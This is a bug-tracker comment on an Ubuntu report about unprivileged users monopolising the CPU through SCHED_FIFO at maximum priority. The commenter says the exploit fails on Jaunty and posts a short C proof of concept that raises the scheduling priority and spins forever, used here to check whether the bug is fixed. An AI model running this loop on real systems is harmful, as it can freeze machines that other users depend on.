[Bug 52600] Re: Unprivileged users can monopolize CPU using SCHED_FIFO and max priority

[Jakob Unterwurzacher]

Exploit does not work here on Jaunty. sched_setscheduler returns -1
(failure) for a normal user (0 for root). Has this been fixed?

Updated code to print out the return value:

#include <sched.h>
#include <stdio.h>
int main() {
   struct sched_param param;
   param.sched_priority = sched_get_priority_max(SCHED_FIFO);
   int r=sched_setscheduler(0,SCHED_FIFO,&param);
   printf("sched_setschedule return code (0 on success, -1 on error): %i\n",r);
   while(1);
}

-- 
Unprivileged users can monopolize CPU using SCHED_FIFO and max priority
https://bugs.launchpad.net/bugs/52600
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